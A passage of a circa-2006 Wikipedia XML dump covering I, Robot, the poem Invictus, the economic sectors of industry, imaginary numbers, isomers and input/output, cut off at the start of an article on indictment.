The book also contains the short story in which Asimov's famous [[Three Laws of Robotics]] first appear. Other characters that appear in these short stories are [[Powell and Donovan]], a field-testing team which locates flaws in USRMM's prototype models.

The collection's title comes from [[I, Robot (short story)|a short story]] by [[Eando Binder]]. Asimov originally titled his collection ''Mind and Iron'', and initially objected when the publisher changed the title.

&lt;div style=&quot;font-size:90%;&quot;&gt;
{| border=1  cellpadding=3 cellspacing=0 align=center
|---- bgcolor=&quot;#cccccc&quot;
!width=&quot;60%&quot;|Series:&lt;br&gt;
!width=&quot;40%&quot;|Followed by:
|----- align=&quot;center&quot;
|[[Robot Series]]&lt;br&gt;[[Foundation Series]]
|[[The Complete Robot]]&lt;br&gt;&lt;br&gt;
|}
&lt;/div&gt;

==I, Robot==

The following appeared on the back cover of ''I, Robot'' (paperback edition):

:''To you, a robot is just a robot. But you haven't worked with them. You don't know them. They're a cleaner, better breed than we are.''

:''When Earth is ruled by master-machines... when robots are more human than humankind.''

:''Isaac Asimov's unforgettable, spine-chilling vision of the future - available at last in its first paperback edition.''

This is largely inaccurate. The first paragraph is a quotation from one of the book's recurring characters Dr. Susan Calvin, but the rest is incongruous with the themes that Asimov presents in his stories. At the time of the collection's publication, robots were depicted in science fiction as either servile machines or evil creations that revolted in the manner of [[Frankenstein]]'s monster. Asimov himself said that in writing the Robot stories he sought to replace both views with something more rational.

===Stories===

* &quot;[[Robbie]]&quot;
* &quot;[[Runaround]]&quot; 
* &quot;[[Reason (Asimov)|Reason]]&quot; 
* &quot;[[Catch that Rabbit]]&quot; 
* &quot;[[Liar!]]&quot; 
* &quot;[[Little Lost Robot]]&quot; 
* &quot;[[Escape!]]&quot;
* &quot;[[Evidence (Asimov)|Evidence]]&quot; 
* &quot;[[The Evitable Conflict]]&quot;

===ISBNs===

* ISBN 44902355 ([[mass market paperback]], 1970)
* ISBN 0606171347 ([[prebound]], [[1991]])
* ISBN 0553294385 ([[mass market paperback]], 1991)
* ISBN 1401400396 ([[e-book]], [[2001]])
* ISBN 1401400388 (e-book, 2001)
* ISBN 0553803700 ([[hardcover]], [[2004]])
* ISBN 078577338X (hardcover)
* ISBN 0007119631 ([[paperback]], UK, new edition)
* ISBN 0586025324 (paperback, UK)

==Adaptations==

In the [[1960s]], two short stories from this collection were made into episodes of the [[television series]] ''[[Out of the Unknown]]'': &quot;The Prophet&quot; ([[1967]]), based on &quot;[[Reason (Asimov)|Reason]]&quot;; and &quot;[[Liar!]]&quot; ([[1969]]).

In the late [[1970s]], [[Warner Brothers]] acquired the [[option (films)|option]] to make a film based on the book, but no [[screenplay]] was ever accepted. The most notable attempt was one by [[Harlan Ellison]], who collaborated with Asimov himself to create a version which captured the spirit of the original. Asimov is quoted as saying that this screenplay would lead to &quot;the first really adult, complex, worthwhile science fiction movie ever made.&quot; Although the film was never made, the script eventually appeared in book form under the title ''I, Robot:  The Illustrated Screenplay'', in [[1994]] (reprinted [[2004]], ISBN 0743486595). Although acclaimed by critics, the screenplay is generally considered to have been unfilmable based upon the technology and average film budgets of the time.

The [[1977]] album ''[[I Robot (album)|I Robot]]'', by [[The Alan Parsons Project]], was also inspired by Asimov's ''I, Robot''.

More recently, a [[I, Robot (movie)|movie of the same name]] starring [[Will Smith]], was released by [[Twentieth Century Fox]] on [[July 16]], [[2004]] in the United States. It was criticized by some fans of Asimov's work for departing from the source material.  Indeed, the screenplay itself was originally not based on ''I, Robot'' at all, but rather an existing screenplay was modified once the rights to the name became available.

==References and parodies==

A real-life company called [[iRobot]] manufactures industrial robots, and a robotic vacuum cleaner for home use.

The [[animated series]] ''[[The Simpsons]]'' had an episode in its fifteenth season entitled &quot;[[I, D'oh-Bot]]&quot;, in which [[Homer Simpson|Homer]] and [[Bart Simpson|Bart]] compete in a ''[[Robot Wars]]''-type competition. Asimov's Three Laws came into play at the end, when one of the robots discovered Homer in the battlefield.

The [[animated series]] ''[[Futurama (TV series)|Futurama]]'' had a first-season episode entitled &quot;[[Futurama (TV series - season 1)#I, Roommate|I, Roommate]]&quot;, in which the human character [[Philip J. Fry]] and the robot character [[Bender Bending Rodriguez|Bender]] attempt to find an apartment together.
The third-season episode &quot;[[Futurama (TV series - season 3)#The Cyber House Rules|The Cyber House Rules]]&quot; includes an optician named &quot;Eye Robot&quot;.
The fourth-season episode &quot;[[Futurama (TV series - season 4)#Anthology of Interest 2|Anthology of Interest 2]]&quot; included a segment called &quot;I, Meatbag&quot;, in which Bender is transformed into a human being.

The episode of ''[[Star Trek: The Next Generation]]'' titled &quot;[[I, Borg (TNG episode)|I, Borg]]&quot; was named after and conceptually based on the I, Robot stories. The episode was about a [[Borg]] Drone that was separated from the Borg Collective, and how it learns how to become an individual.

The [[satire|satirical]] newspaper ''[[The Onion]]'' published an article entitled &quot;I, Rowboat&quot; [http://www.theonion.com/content/node/33568] in which an anthropomorphized [[rowboat]] gives a speech parodying much of the angst experienced by robots in Asimov's fiction, including a statement of the &quot;Three Laws of Rowboatics&quot;:
# A Rowboat may not immerse a human being or, through lack of flotation, allow a human to come to harm.
# A Rowboat must obey all commands and steering input given by its human Rower, except where such input would conflict with the First Law.
# A Rowboat must preserve its own flotation as long as such preservation does not conflict with the First or Second Law.

The film [[Bicentennial Man]] includes the Three Laws of robotics as quoted by the protagonist and android, Andrew.

[[Category:1950 books]]
[[Category:Foundation universe books]]
[[Category:Science fiction short story collections by Isaac Asimov]]

[[bg:Аз, роботът]]
[[de:I, Robot]]
[[es:Yo, Robot]]
[[fr:I, Robot]]
[[it:Io, Robot (Asimov)]]
[[he:אנוכי הרובוט]]
[[hu:Én, a robot]]
[[ja:われはロボット]]
[[fi:I, Robot]]
[[sv:Jag, robot]]
[[uk:Я, робот (фільм)]]</text>
    </revision>
  </page>
  <page>
    <title>Invictus</title>
    <id>14546</id>
    <revision>
      <id>41700954</id>
      <timestamp>2006-03-01T03:47:12Z</timestamp>
      <contributor>
        <ip>128.118.6.39</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''''Invictus''''' is a short [[poem]] by the [[United Kingdom|British]] poet [[William Ernest Henley]], which is the source of a number of familiar [[cliché]]s and [[quotation]]s.  The title is [[Latin]] for &quot;unconquerable.&quot;  It was first published in [[1875]].

The poem goes:

:::'''Invictus'''

:Out of the night that covers me,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Black as the Pit from pole to pole,&lt;br&gt;I thank whatever gods may be&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;For my unconquerable soul.

:In the fell clutch of circumstance&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I have not winced nor cried aloud.&lt;br&gt;Under the bludgeonings of chance&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;My head is bloody, but unbowed.

:Beyond this place of wrath and tears&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Looms but the Horror of the shade,&lt;br&gt;And yet the menace of the years&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Finds, and shall find, me unafraid.

:It matters not how strait the gate,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;How charged with punishments the scroll,&lt;br&gt;I am the master of my fate:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I am the captain of my soul.

In this poem, Henley gave the world the familiar phrases &quot;my head is bloody, but unbowed&quot; and &quot;I am the master of my fate&quot;.  These lines have been quoted many times by people who may not realize the source.  They seem a [[hyperbole|hyperbolic]] epitome of the &quot;stiff upper lip&quot; that [[popular culture]] has made a traditional British virtue, and a comforting image of [[stoicism]] in the face of disaster.   

In the climax of the [[1942 in film|1942 film]] ''[[King's Row]]'', the poem is recited by Parris Mitchell ([[Robert Cummings]]) to friend Drake McHugh ([[Ronald Reagan]]) in an effort to overcome the latter's [[clinical depression|depression]] following a permanent injury.

It is also the name of an album by the Heavy Metal band [[Virgin Steele]] who use occasional lines of the poem as lyrics on the album.

Outlaw Country Music singer/songwriter David Allan Coe also named a 1980 album after the poem, calling it &quot;Invictus Means Unconquered,&quot; reprinting the poem on the back sleeve, coupled with an original poem apparently intended as an homage, and personal follow-up, to the Henley original. 

The poem recently gained further notoriety by being quoted by the [[United States|American]] [[domestic terrorism|terrorist]] [[Timothy McVeigh]], who quoted it in a communiqué released shortly before his [[capital punishment|execution]] for [[murder]] committed in the [[Oklahoma City bombing]].

More recently, [[United States|American]] [[domestic terrorism|terrorist]] [[Eric Rudolph]] alluded to the poem when in court for the 1996 [[Centennial Olympic Park bombing]] in [[Atlanta, Georgia|Atlanta]], [[Georgia (U.S. state)|Georgia]], on April 20, 2005, stating, &quot;By the grace of God, I am still here -- a little bloodied, but emphatically unbowed.&quot;

This poem was also used in the WB teen drama, One Tree Hill. 

The poem is also the motto of BUD/s Class 228, as recorded in &quot;The Warrior Elite: The Forging of SEAL Class 228&quot; by Dick Couch.  It represents the indomitable spirit of the class members who finished the grueling Basic Underwater Demolition School training in their quest to become Navy SEALs.

== See also ==

* [[If (poem)|If&amp;mdash;&amp;nbsp;]] by Rudyard Kipling

== External links ==

*[http://www.courttv.com/news/mcveigh_special/finalstatement.html Image of Timothy McVeigh's final statement] given the morning of his execution on [[June 11]], [[2001]].

*[http://www.godofthemachine.com/archives/00000309.html Intellectual discussion on &quot;Invictus&quot;, two opposing interpretations.]

[[Category:British poems]]</text>
    </revision>
  </page>
  <page>
    <title>Irish traditional music</title>
    <id>14547</id>
    <revision>
      <id>15912092</id>
      <timestamp>2003-11-28T19:51:39Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <comment>#redirect [[Music of Ireland]]</comment>
      <text xml:space="preserve">#redirect [[Music of Ireland]]</text>
    </revision>
  </page>
  <page>
    <title>Industry/Tertiary Sector</title>
    <id>14548</id>
    <revision>
      <id>15912093</id>
      <timestamp>2002-10-12T18:09:16Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Tertiary_sector_of_industry]]</comment>
      <text xml:space="preserve">#REDIRECT [[Tertiary_sector_of_industry]]</text>
    </revision>
  </page>
  <page>
    <title>Industry/Secondary Sector</title>
    <id>14549</id>
    <revision>
      <id>15912094</id>
      <timestamp>2002-10-10T23:07:01Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Secondary_sector_of_industry]]</text>
    </revision>
  </page>
  <page>
    <title>Industry/Primary Sector</title>
    <id>14550</id>
    <revision>
      <id>15912095</id>
      <timestamp>2002-10-12T18:09:28Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Primary_sector_of_industry]]</comment>
      <text xml:space="preserve">#REDIRECT [[Primary_sector_of_industry]]</text>
    </revision>
  </page>
  <page>
    <title>Tertiary sector of industry</title>
    <id>14551</id>
    <revision>
      <id>40147857</id>
      <timestamp>2006-02-18T14:29:32Z</timestamp>
      <contributor>
        <username>Angr</username>
        <id>157842</id>
      </contributor>
      <minor />
      <comment>/* See also */ +de:</comment>
      <text xml:space="preserve">The '''service sector''' or the '''service industry''', is one of the three main industrial categories of a developed [[Economics|economy]], the others being the secondary industry ([[manufacturing]] and primary goods production such as [[agriculture]]), and primary industry (extraction such as [[mining]] and [[fishing]]). 

The tertiary sector of industry involves the provision of services to other businesses as well as final consumers. Services may involve the [[transport]], [[distribution (business)|distribution]] and sale of goods from producer to a consumer as may happen in [[wholesaler|wholesaling]] and [[retailer|retailing]], or may involve the provision of a service, such as in [[pest control]] or [[entertainment]]. The goods may be transformed in the process of providing the service, as happens in the [[restaurant]] industry. However the focus is on people interacting with people and serving the customer rather than transforming physical goods. For the last 20 years there has been a substantial shift from the other two [[industry]] sectors to the Tertiary Sector in industrialised countries.

The service sector consists of the &quot;soft&quot; parts of the economy such as [[insurance]], [[tourism]], [[banking]], [[retail]] and [[education]]. Others include:
* [[Franchising]]
* [[Restaurants]]
* [[Retailer|Retailing]]
* [[Entertainment]], including the [[Record industry]], [[Music industry]], [[Radio]], [[Television]] and [[Film|Movies]].
* [[News]] [[medium|media]]
* [[Leisure industry]]
* [[Transport]]
* [[Healthcare]]
* [[Consulting]], [[Investment]] and [[Legal]] advice and services.

[[Public utility|Public utilities]] are often considered part of the tertiary sector as they provide services to people, while creating the utility's [[infrastructure]] is often considered part of the secondary sector, even though the same business may be involved in both aspects of the operation.

Economies tend to follow a developmental progression that takes them from a heavy reliance on agriculture, toward the development of [[industry]] (e.g. automobiles, textiles, shipbuilding, steel, mining) and finally toward a more service based structure. Whereas the first economy to follow this path in the modern world was the [[United Kingdom]], the speed at which other economies have later made the transition to service-based, sometimes called post-industrial, has accelerated over time.

The term [[service economy]], in contrast, refers to a model wherein as much economic activity as possible is treated as a service. For example IBM treats its business as a service business. Although it still manufactures high-end computers, it sees the physical goods as a small part of the &quot;business solutions&quot; industry. They have found that the price elasticity of demand for &quot;business solutions&quot; is much less elastic than for hardware. There has been a corresponding shift to a [[subscription business model|subscription pricing model]]. Rather than receiving a single payment for a piece of manufactured equipment,many manufacturers are now receiving a steady stream of revenue for ongoing contracts. 

Manufacturing tends to be more open to [[international trade]] and competition than services. As a result, there has been a tendency for the first economies to industrialize to come under competitive attack by those seeking to industrialize later, e.g. because production, especially [[labour (economics)|labour]], costs are lower in those industrializing later.  The resultant shrinkage of manufacturing in the leading economies might explain their growing reliance on the service sector.

==Issues for service providers==
Service providers face obstacles selling services that goods-sellers rarely face. Services are not tangible, making it difficult for potential customers to understand what they will receive and what value it will hold for them. Indeed some, such as [[consulting]] and [[investment]] services, offer no guarantees of the value for price paid.

Since the quality of most services depends largely on the quality of the individuals providing the services, it is true that &quot;people costs&quot; are a high component of service costs. Whereas a manufacturer may use technology, simplification, and other techniques to lower the cost of goods sold, the service provider often faces an unrelenting pattern of increasing costs.

Differentiation is often difficult. How does one choose one investment advisor over another, since they (and hotel providers, leisure companies, consultants, and others) often seem to provide identical services? Charging a premium for services is usually an option only for the most established firms, who charge extra based upon brand recognition.

==See also==
* [[Primary sector of industry]]
* [[Secondary sector of industry]]
* [[Quaternary sector of industry]]
* [[Industrial policy]]

[[Category:Economics]]
[[Category:Industry|Sector, 3]]

[[de:Dienstleistung]]
[[es:Sector servicios]]
[[pt:Setor terciário]]
[[ru:Третичный сектор экономики]]
[[sv:Tjänsteproduktion]]
[[zh:第三产业]]</text>
    </revision>
  </page>
  <page>
    <title>Primary sector of industry</title>
    <id>14552</id>
    <revision>
      <id>41001230</id>
      <timestamp>2006-02-24T11:35:18Z</timestamp>
      <contributor>
        <username>MarkGallagher</username>
        <id>128976</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.85.15.68|212.85.15.68]] ([[User talk:212.85.15.68|talk]]) to last version by Bit</comment>
      <text xml:space="preserve">The '''primary sector of [[industry]]''' generally involves the conversion of natural resources into primary products. Most products from this sector are considered raw materials for other industries. Major businesses in this sector include [[Agriculture|agriculture]], [[Agribusiness|agribusiness]], [[fishing]], [[forestry]] and all [[mining]] and [[quarrying]] [[industry|industries]].

Downstream manufacturing industries that aggregate, pack, package, purify or process the raw materials close to the primary producers are normally considered part of this sector, especially if the raw material is unsuitable for sale or difficult to transport long distances.

==See also==
* [[Secondary sector of industry]]
* [[Tertiary sector of industry]]
* [[Quaternary sector of industry]]
* [[Industrial policy]]

{{sectstub}}

[[ja:第一次産業]]</text>
    </revision>
  </page>
  <page>
    <title>Secondary sector of industry</title>
    <id>14553</id>
    <revision>
      <id>38698787</id>
      <timestamp>2006-02-08T01:17:54Z</timestamp>
      <contributor>
        <username>KongminRegent</username>
        <id>732030</id>
      </contributor>
      <text xml:space="preserve">The '''secondary sector of industry''' is the [[manufacturing]] sector of [[Industry|industry]]. This sector of industry generally takes the output of the primary sector and manufactures finished goods or products to a point where they are suitable for use by other businesses, for export, or sale to domestic consumers. This sector is often divided into light industry and heavy industry. Many of these industries consume large quantities of energy and require factories and machinery to convert the raw materials into goods and products. They also produce waste materials and waste heat that may pose environmental problems or cause pollution. 

Divisions of this sector include:
*[[Aerospace manufacturing]]
*[[Automaker|Automobile manufacturing]]
*[[Brewing industry]]
*[[Chemical industry]]
*[[Engineering]]
*[[Energy]] industries including the production of [[petroleum]], [[gas]] and [[Electric power]]
*[[Steel]] production
*[[Tobacco industry]]
*[[Radio]]
*[[Telecommunications]] Industry
*[[Metalworking]]
*[[Clothing]] Industry



==See also==
* [[Primary sector of industry]]
* [[Tertiary sector of industry]]
* [[Quaternary sector of industry]]
* [[Industrial policy]]

[[Category:Industry|Sector, 2]]

[[de:Industrie]]
[[ru:Вторичный сектор экономики]]
[[pt:Setor secundário]]
[[zh:第二产业]]</text>
    </revision>
  </page>
  <page>
    <title>Imaginary number</title>
    <id>14554</id>
    <revision>
      <id>41395128</id>
      <timestamp>2006-02-27T01:18:28Z</timestamp>
      <contributor>
        <username>Krun</username>
        <id>246742</id>
      </contributor>
      <minor />
      <comment>removing extraneous gibberish</comment>
      <text xml:space="preserve">In [[mathematics]], an '''imaginary number''' (or '''purely imaginary number''') is a [[complex number]] whose [[square (algebra)|square]] is a [[Negative and non-negative numbers|negative]] real number.  Imaginary numbers were created in 1572 by [[Rafael Bombelli]].  At the time, such numbers were thought not to exist, much as zero and the negative numbers were sometimes regarded by some as fictitious or useless. Many other mathematicians were slow to believe in imaginary numbers at first, including [[Descartes]] who wrote about them in his ''[[La Géométrie]]'', where the term was meant to be derogatory.

==Definition==

Any [[complex number]] can be written as &lt;math&gt;a+bi&lt;/math&gt;, where &lt;math&gt;a&lt;/math&gt; and &lt;math&gt;b&lt;/math&gt; are [[real number]]s and &lt;math&gt;i&lt;/math&gt; is the [[imaginary unit]] with the property that:

:&lt;math&gt;i^2 = -1.\,&lt;/math&gt;

The number &lt;math&gt;a&lt;/math&gt; is the [[real part]] of the complex number, and &lt;math&gt;b&lt;/math&gt; is the [[imaginary part]]. Although Descartes originally used the term &quot;imaginary number&quot; to mean what is currently meant by the term &quot;complex number&quot;, the term &quot;imaginary number&quot; today usually means a complex number with a [[real part]] equal to &lt;math&gt;0&lt;/math&gt;, that is, a number of the form &lt;math&gt;bi&lt;/math&gt;. Note that, technically, &lt;math&gt;0&lt;/math&gt; is considered to be a purely imaginary number: &lt;math&gt;0&lt;/math&gt; is the only complex number which is both real and purely imaginary.

==Geometric interpretation==

Geometrically, imaginary numbers are found on the vertical axis of the [[complex number]] plane, allowing them to be presented orthogonal to the real axis.  One way of viewing imaginary numbers is to consider a standard [[number line]], positively increasing in magnitude to the right, and negatively increasing in magnitude to the left.  At &lt;math&gt;0&lt;/math&gt; on this &lt;math&gt;x&lt;/math&gt;-axis, draw a &lt;math&gt;y&lt;/math&gt;-axis with &quot;positive&quot; direction going up; &quot;positive&quot; imaginary numbers then &quot;increase&quot; in magnitude upwards, and &quot;negative&quot; imaginary numbers &quot;decrease&quot; in magnitude downwards. This vertical axis is often called the &quot;imaginary axis&quot; and is denoted &lt;math&gt;i\mathbb{R}&lt;/math&gt;.

In this model, multiplication by &lt;math&gt;-1&lt;/math&gt; corresponds to a [[reflection]] about the origin, i.e. a [[rotation]] of &lt;math&gt;180&lt;/math&gt; degrees about the origin. Multiplication by ''i'' corresponds to a &lt;math&gt;90&lt;/math&gt;-degree rotation in the &quot;positive&quot; direction (i.e. counter-clockwise), and the equation &lt;math&gt;i^2 = -1&lt;/math&gt; is interpreted as saying that if we apply &lt;math&gt;2&lt;/math&gt; &lt;math&gt;90&lt;/math&gt;-degree rotations about the origin, the net result is a single &lt;math&gt;180&lt;/math&gt;-degree rotation. Note that a &lt;math&gt;90&lt;/math&gt;-degree rotation in the &quot;negative&quot; direction (i.e. clockwise) also satisfies this interpretation. This reflects the fact that &lt;math&gt;-i&lt;/math&gt; also solves the equation &lt;math&gt;x^2 = -1&lt;/math&gt; &amp;mdash; see [[imaginary unit]].

In [[electrical engineering]] and related fields, the imaginary unit is often written as &lt;math&gt;j&lt;/math&gt; to avoid confusion with a changing [[current (electricity)|current]], traditionally denoted by &lt;math&gt;i&lt;/math&gt;.

==Applications of imaginary numbers==
Despite their name, imaginary numbers are just as &quot;real&quot; as real numbers. (See [[complex number#Definition|the definition of complex numbers]] on how they can be constructed using [[naive set theory|set theory]].) One way to understand this is by realizing that [[Number|numbers]] themselves are abstractions, and the abstractions can be valid even when they are not recognized in a given context. For example, fractions such as &lt;math&gt;\frac{3}{4}&lt;/math&gt; and &lt;math&gt;\frac{5}{7}&lt;/math&gt; are meaningless to a person counting stones, but essential to a person comparing the sizes of different collections of stones. Similarly, negative numbers such as &lt;math&gt;-3&lt;/math&gt; and &lt;math&gt;-5&lt;/math&gt; are meaningless when keeping score in a football game, but essential when keeping track of monetary debits and credits.

Imaginary numbers follow the same pattern. For most human tasks, real numbers (or even rational numbers) offer an adequate description of data, and imaginary numbers have no meaning; however, in many areas of science and mathematics, imaginary numbers (and complex numbers in general) are essential for describing reality. Imaginary numbers have essential concrete applications in a variety of sciences and related areas such as [[signal processing]], [[control theory]], [[electromagnetism]], [[quantum mechanics]], and [[cartography]].

For example, in [[electrical engineering]], when analyzing [[alternating current|AC]] [[Electric circuit|circuitry]], the values for the electrical [[volt]]age (and current) are expressed as imaginary or complex numbers known as [[phasor (electronics)|phasor]]s. These are real voltages that can cause damage/harm to either humans or equipment even if their values contain no &quot;real part&quot;. 

Specifically, [[Euler's formula]] is used extensively to express signals (e.g., electromagnetic) that vary periodically over time as a combination of sine and cosine functions.  Euler's formula accomplishes this more conveniently via an expression of exponential functions with imaginary exponents. Euler's formula states that, for any [[real number]] ''x'',

: &lt;math&gt; e^{ix} = \cos x + i\sin x. \,&lt;/math&gt;

==See also==
*[[Complex number]] 
*[[Quaternion]] 
*[[Octonion]]

==External links==
*[http://www.math.toronto.edu/mathnet/answers/imaginary.html Why imaginary numbers really do exist]
*[http://www.algebra.com/algebra/homework/complex/ Imaginary number calculator]

[[Category:Complex analysis]]

[[da:Imaginære tal]]
[[de:Imaginäre Zahl]]
[[el:Φανταστικός αριθμός]]
[[es:Número imaginario]] 
[[fr:Nombre imaginaire pur]]
[[ko:&amp;#54728;&amp;#49688;]]
[[is:Þvertala]]
[[he:&amp;#1502;&amp;#1505;&amp;#1508;&amp;#1512; &amp;#1502;&amp;#1512;&amp;#1493;&amp;#1499;&amp;#1489;]]
[[nl:Imaginair getal]]
[[ja:&amp;#34394;&amp;#25968;&amp;#21336;&amp;#20301;]]
[[pl:Liczby urojone]] 
[[pt:Número imaginário]]
[[fi:Imaginaariluku]]
[[zh:&amp;#34394;&amp;#25968;]]</text>
    </revision>
  </page>
  <page>
    <title>Isomer</title>
    <id>14555</id>
    <revision>
      <id>41059234</id>
      <timestamp>2006-02-24T20:16:54Z</timestamp>
      <contributor>
        <username>Edwardpicciotto</username>
        <id>986322</id>
      </contributor>
      <comment>Isomers Basic Edit With Study Aid</comment>
      <text xml:space="preserve">In [[chemistry]], '''isomers''' are [[molecule]]s with the same [[chemical formula]] and often with the same kinds of [[chemical bond|bonds]] between atoms, but in which the atoms are arranged differently.  Many isomers share similar if not identical properties in most chemical contexts.

A simple example of consitutional isomers is given by [[propanol]]: it has the formula [[Carbon|C]]&lt;sub&gt;3&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;8&lt;/sub&gt;[[Oxygen|O]] (or [[Carbon|C]]&lt;sub&gt;3&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;7&lt;/sub&gt;[[Hydroxide|OH]]) and two isomers Propan-1-ol (n-propyl alcohol; '''I''') and Propan-2-ol (isopropyl alcohol; '''II''').

[[Image:Structural isomers.png|center|400px|isomers of propanol]]

Note that the position of the [[oxygen]] atom differs between the two: it is attached to an end [[carbon]] in the first isomer, and to the center carbon in the second. The number of possible isomers increases rapidly as the number of atoms increases; for example the next largest alcohol, named [[butane|butanol]] (C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;O), has five different isomers.  
 
There is, however, another isomer of [[Carbon|C]]&lt;sub&gt;3&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;8&lt;/sub&gt;[[Oxygen|O]] which has significantly different properties than '''I''' or '''II''': [[methyl]] [[ethyl]] [[ether]] ('''III'''). Notice that unlike the top two examples, the oxygen is connected to two carbons rather than to one carbon and one hydrogen.  As it lacks a [[Hydroxyl_group|hydroxl group]], the above molecule is no longer considered an alcohol but is classified as an [[ether]], and has chemical properties more similar to ethers than to the two propanol isomers.

== Stereoisomers ==
 
'''In stereoisomers the bond structure is the same, but the geometrical positioning of atoms and functional groups in space differs.''' This class includes [[enantiomer]]s where different isomers are mirror-images of each other, and [[diastereomer]]s when they are not. Diastereomerism is again subdivided into [[cis-trans isomerism]] when this is not possible.

While constitutional isomers typically have different chemical properties, stereoisomers behave identically in most chemical reactions. [[Enzyme]]s however can distinguish between different stereoisomers of a compound, and organisms often prefer one stereoisomer over the other. Some stereoisomers also differ in the way they rotate [[polarized light]].  

'''STUDY AID: What compound used medicinally as a sedative and hypnotic has a teratogenic (causes birth defects) isomer? Hint - Google &quot;tetratogenic isomer&quot;.'''</text>
    </revision>
  </page>
  <page>
    <title>Input/Output Device</title>
    <id>14556</id>
    <revision>
      <id>15912101</id>
      <timestamp>2002-10-12T18:09:45Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Input/output]]</comment>
      <text xml:space="preserve">#REDIRECT [[Input/output]]</text>
    </revision>
  </page>
  <page>
    <title>Input/Output</title>
    <id>14557</id>
    <revision>
      <id>15912102</id>
      <timestamp>2002-04-15T22:33:43Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Input/output]]
</text>
    </revision>
  </page>
  <page>
    <title>Input/output</title>
    <id>14558</id>
    <revision>
      <id>41755485</id>
      <timestamp>2006-03-01T14:44:02Z</timestamp>
      <contributor>
        <ip>200.184.130.10</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the computer interface.  For the economic use of the term, see [[input-output model]].''

In [[computing]], '''Input/output''', or I/O, is the collection of [[Interface (computer science)|interface]]s that different [[functional unit]]s ([[system|sub-systems]]) of an [[information processing system]] use to communicate with each other, or the [[Signal_(information_theory)|signals]] ([[information]]) sent through those interfaces. [[Input]]s are the signals received by the unit, and [[output]]s are the signals sent from it. The term can also be used as part of an action; to &quot;do I/O&quot; is to perform an input or output [[operation]]. I/O devices are used by a person (or other system) to communicate with a computer. For instance, [[computer keyboard|keyboards]] and [[computer mouse|mice]] are considered input devices of a computer and [[computer monitor|monitors]] and [[computer printer|printers]] are considered output devices of a computer. Typical devices for communication between computers are for both input and output, such as [[modem]]s and [[network card]]s. 

It is important to notice that the previous designations of devices as either input or output change when the perspective changes. Mice and keyboards take as input physical movement that the human user outputs and convert it into signals that a computer can understand. The output from these devices is treated as input by the computer. Similarly, printers and monitors take as input signals that a computer outputs. They then convert these signals into representations that human users can see or read. (For a human user the process of reading or seeing these representations is receiving input.)

In computer architecture, the combination of the [[Central processing unit|CPU]] and [[main memory]] (i.e. memory that the CPU can read and write to directly, with individual [[instruction set|instructions]]) is considered the heart of a computer, and any movement of information from or to that complex, for example to or from a [[disk drive]], is considered I/O. The CPU and its supporting circuitry provide [[I/O methods]] that are used in low-level [[computer programming]] in the implementation of [[device driver]]s. 

Higher-level [[operating system]] and programming facilities employ separate, more abstract I/O concepts and [[primitive (computer science)|primitive]]s. For example, operating system provides application programs with the concept of [[computer file|file]]s. [[C programming language]] defines functions that allow programs to perform I/O through [[stream (computer)|stream]]s, such as read data from them and write data into them. 

A rare alternative to special primitive functions is the IO [[monads in functional programming|monad]] that permits programs to just describe I/O, and the actions are carried out outside the program. This is notable because the I/O functions would introduce [[side-effect (computer science)|side-effect]]s to any programming language but now [[purely functional]] programming is practical.

== See also ==

* [[Direct memory access]] (DMA)
* [[Hardware register]]
* [[IPO Model]]
* [[Interrupt]]
* [[Programmed input/output]]

== External links ==
* [http://www.iometer.org/ I/O Meter]

[[Category:Input/Output| ]]
[[Category:Computer architecture]]
[[da:I/O]]
[[et:I/O]]
[[fr:Entrées Sorties]]
[[it:Input/output]]
[[lt:Išvesties įrenginys]]
[[ja:入出力]]
[[pt:I/O]]
[[ru:Устройства ввода-вывода]]
[[zh:I/O]]</text>
    </revision>
  </page>
  <page>
    <title>Indictment</title>
    <id>14559</id>
    <revision>
      <id>40750262</id>
      <timestamp>2006-02-22T19:53:44Z</timestamp>
      <contributor>
        <username>Famspear</username>
        <id>600513</id>
      </contributor>
      <comment>Revert vandal.</comment>
      <text xml:space="preserve">{{CrimPro}}
In the [[common law]] legal system, an '''indictment''' is a formal charge of having committed a serious criminal offence. In those jurisdictions which retain the concept of a [[felony]], the serious crime offence would be a felony; those jurisdictions which have abolished the concept of a felony often substitute instead the concept of an [[indictable offence]], i.e. an offence which requires an indictment. Traditionally an indictment was handed down by a [[grand jury]], but most common law jurisdictions (with the exception of those in the [[United States]]) have abolished grand juries.  

== In Australia ==
